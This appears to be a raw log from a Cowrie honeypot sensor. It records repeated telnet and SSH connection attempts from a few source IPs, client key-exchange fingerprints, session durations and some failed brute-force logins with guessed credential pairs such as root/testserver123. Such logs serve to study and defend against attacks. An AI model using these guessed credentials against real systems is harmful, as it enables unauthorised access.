{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36642,"dst_ip":"10.17.0.5","dst_port":23,"session":"b157607c5ad2","protocol":"telnet","message":"New connection: 188.208.141.113:36642 (10.17.0.5:23) [session: b157607c5ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:53.867587Z"}
{"eventid":"cowrie.session.closed","duration":48.36143684387207,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:54.608976Z","src_ip":"188.208.141.113","session":"a3b90e99e6bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38386,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb76a9fcda2b","protocol":"telnet","message":"New connection: 64.227.9.242:38386 (159.203.135.109:23) [session: bb76a9fcda2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:55.209605Z"}
{"eventid":"cowrie.session.closed","duration":36.039496183395386,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:55.333049Z","src_ip":"64.227.9.242","session":"926cb394d704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.0528507232666,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:55.767140Z","src_ip":"188.208.141.113","session":"30b29207a6e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36644,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb11b7f2ff52","protocol":"telnet","message":"New connection: 188.208.141.113:36644 (10.17.0.5:23) [session: eb11b7f2ff52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:56.054439Z"}
{"eventid":"cowrie.session.closed","duration":51.10206604003906,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:56.472214Z","src_ip":"188.208.141.113","session":"a7ead0946471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":47762,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d60fee63f2","protocol":"ssh","message":"New connection: 112.217.199.222:47762 (10.17.0.5:22) [session: c5d60fee63f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:57.103960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:57.109041Z","src_ip":"112.217.199.222","session":"c5d60fee63f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:57.322365Z","src_ip":"112.217.199.222","session":"c5d60fee63f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.12641453742981,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:57.369529Z","src_ip":"188.208.141.113","session":"08c7806b1fea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ansibleuser","password":"ansible","message":"login attempt [ansibleuser/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:58.198943Z","src_ip":"112.217.199.222","session":"c5d60fee63f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36654,"dst_ip":"10.17.0.5","dst_port":23,"session":"0adede07106e","protocol":"telnet","message":"New connection: 188.208.141.113:36654 (10.17.0.5:23) [session: 0adede07106e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:59.116132Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:59.413015Z","src_ip":"112.217.199.222","session":"c5d60fee63f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.596476793289185,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:00.754884Z","src_ip":"64.227.9.242","session":"9ad3dd5b609b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":46662,"dst_ip":"159.203.135.109","dst_port":23,"session":"6926fceed82f","protocol":"telnet","message":"New connection: 64.227.9.242:46662 (159.203.135.109:23) [session: 6926fceed82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:00.846788Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45974,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eab0477e068","protocol":"telnet","message":"New connection: 64.227.9.242:45974 (159.203.135.109:23) [session: 7eab0477e068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:01.402436Z"}
{"eventid":"cowrie.session.closed","duration":35.07698178291321,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:03.088868Z","src_ip":"64.227.9.242","session":"b280815a0fa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.35993790626526,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:05.661946Z","src_ip":"188.208.141.113","session":"df80f1ba9992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.828890323638916,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:05.925204Z","src_ip":"188.208.141.113","session":"a6e66373a1ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.72474551200867,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:07.796792Z","src_ip":"188.208.141.113","session":"b798084eef0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58256,"dst_ip":"159.203.135.109","dst_port":23,"session":"c99648bc4ea8","protocol":"telnet","message":"New connection: 64.227.9.242:58256 (159.203.135.109:23) [session: c99648bc4ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:09.851683Z"}
{"eventid":"cowrie.session.closed","duration":40.461984634399414,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:10.138712Z","src_ip":"188.208.141.113","session":"211fc19c539d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42484,"dst_ip":"10.17.0.5","dst_port":23,"session":"e45a539fba49","protocol":"telnet","message":"New connection: 188.208.141.113:42484 (10.17.0.5:23) [session: e45a539fba49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:11.221918Z"}
{"eventid":"cowrie.session.closed","duration":36.011425733566284,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:11.291966Z","src_ip":"64.227.9.242","session":"fe7d1dc37528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99597358703613,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:14.560707Z","src_ip":"64.227.9.242","session":"7860317eae7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42492,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a89c6deda7c","protocol":"telnet","message":"New connection: 188.208.141.113:42492 (10.17.0.5:23) [session: 9a89c6deda7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:16.346642Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":36552,"dst_ip":"159.203.135.109","dst_port":23,"session":"047abbbcc1d5","protocol":"telnet","message":"New connection: 64.227.9.242:36552 (159.203.135.109:23) [session: 047abbbcc1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:17.829023Z"}
{"eventid":"cowrie.session.closed","duration":51.067463874816895,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:19.511149Z","src_ip":"188.208.141.113","session":"6d163ea849c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.256551027297974,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:20.626714Z","src_ip":"188.208.141.113","session":"f196824893a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.56453800201416,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:21.689062Z","src_ip":"64.227.9.242","session":"ad43abd4fdfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":48988,"dst_ip":"10.17.0.5","dst_port":22,"session":"6966032ad846","protocol":"ssh","message":"New connection: 1.235.192.214:48988 (10.17.0.5:22) [session: 6966032ad846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:25.023269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:25.029723Z","src_ip":"1.235.192.214","session":"6966032ad846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:25.221131Z","src_ip":"1.235.192.214","session":"6966032ad846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53706,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f2f849da259","protocol":"telnet","message":"New connection: 188.208.141.113:53706 (10.17.0.5:23) [session: 7f2f849da259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:25.458439Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:26.016414Z","src_ip":"1.235.192.214","session":"6966032ad846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":57496,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac15cc2ab5e6","protocol":"ssh","message":"New connection: 152.32.171.213:57496 (10.17.0.5:22) [session: ac15cc2ab5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:26.095750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:26.103572Z","src_ip":"152.32.171.213","session":"ac15cc2ab5e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:26.316235Z","src_ip":"152.32.171.213","session":"ac15cc2ab5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53722,"dst_ip":"10.17.0.5","dst_port":23,"session":"009b4f36cf36","protocol":"telnet","message":"New connection: 188.208.141.113:53722 (10.17.0.5:23) [session: 009b4f36cf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:26.663705Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51574,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e10e8f3a25d","protocol":"telnet","message":"New connection: 64.227.9.242:51574 (159.203.135.109:23) [session: 6e10e8f3a25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:26.898646Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53730,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f4e9a64a2f","protocol":"telnet","message":"New connection: 188.208.141.113:53730 (10.17.0.5:23) [session: 33f4e9a64a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:26.935602Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver123","message":"login attempt [root/testserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:27.195573Z","src_ip":"152.32.171.213","session":"ac15cc2ab5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:27.210089Z","src_ip":"1.235.192.214","session":"6966032ad846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52460,"dst_ip":"159.203.135.109","dst_port":23,"session":"53386bc48a8a","protocol":"telnet","message":"New connection: 64.227.9.242:52460 (159.203.135.109:23) [session: 53386bc48a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:27.636736Z"}
{"eventid":"cowrie.session.closed","duration":36.7576208114624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:27.787868Z","src_ip":"188.208.141.113","session":"ad63f50445b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:28.410426Z","src_ip":"152.32.171.213","session":"ac15cc2ab5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53736,"dst_ip":"10.17.0.5","dst_port":23,"session":"80aca0891e96","protocol":"telnet","message":"New connection: 188.208.141.113:53736 (10.17.0.5:23) [session: 80aca0891e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:29.551907Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54910,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf2612f3ddef","protocol":"telnet","message":"New connection: 64.227.9.242:54910 (159.203.135.109:23) [session: cf2612f3ddef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:29.607222Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53746,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24ee8afd7d4","protocol":"telnet","message":"New connection: 188.208.141.113:53746 (10.17.0.5:23) [session: b24ee8afd7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:29.892677Z"}
{"eventid":"cowrie.session.closed","duration":5.89420747756958,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:31.352499Z","src_ip":"188.208.141.113","session":"7f2f849da259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.34207201004028,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:32.551575Z","src_ip":"64.227.9.242","session":"bb76a9fcda2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55672,"dst_ip":"10.17.0.5","dst_port":23,"session":"c79ec7763afc","protocol":"telnet","message":"New connection: 188.208.141.113:55672 (10.17.0.5:23) [session: c79ec7763afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:32.620118Z"}
{"eventid":"cowrie.session.closed","duration":51.370863914489746,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:33.203135Z","src_ip":"188.208.141.113","session":"080da938228a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.516384124755859,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:34.068214Z","src_ip":"188.208.141.113","session":"80aca0891e96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.83537745475769,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:34.237712Z","src_ip":"64.227.9.242","session":"7eab0477e068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55674,"dst_ip":"10.17.0.5","dst_port":23,"session":"da3cf4c3f144","protocol":"telnet","message":"New connection: 188.208.141.113:55674 (10.17.0.5:23) [session: da3cf4c3f144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:35.055898Z"}
{"eventid":"cowrie.session.closed","duration":35.20227360725403,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:36.048913Z","src_ip":"64.227.9.242","session":"6926fceed82f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55682,"dst_ip":"10.17.0.5","dst_port":23,"session":"3001969ba074","protocol":"telnet","message":"New connection: 188.208.141.113:55682 (10.17.0.5:23) [session: 3001969ba074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:36.308278Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55690,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d1e20e2c344","protocol":"telnet","message":"New connection: 188.208.141.113:55690 (10.17.0.5:23) [session: 1d1e20e2c344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:36.806827Z"}
{"eventid":"cowrie.session.closed","duration":37.80724000930786,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:36.923214Z","src_ip":"188.208.141.113","session":"0adede07106e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.508960485458374,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:37.376423Z","src_ip":"188.208.141.113","session":"b157607c5ad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55692,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ea3ce5c7db9","protocol":"telnet","message":"New connection: 188.208.141.113:55692 (10.17.0.5:23) [session: 7ea3ce5c7db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:38.739341Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55694,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e3c46e6f78","protocol":"telnet","message":"New connection: 188.208.141.113:55694 (10.17.0.5:23) [session: d5e3c46e6f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:38.946332Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39270,"dst_ip":"159.203.135.109","dst_port":23,"session":"c85526e6445a","protocol":"telnet","message":"New connection: 64.227.9.242:39270 (159.203.135.109:23) [session: c85526e6445a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:40.070487Z"}
{"eventid":"cowrie.session.closed","duration":45.84227108955383,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:41.896595Z","src_ip":"188.208.141.113","session":"eb11b7f2ff52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34388,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d3db7f52b1","protocol":"telnet","message":"New connection: 188.208.141.113:34388 (10.17.0.5:23) [session: 43d3db7f52b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:42.489681Z"}
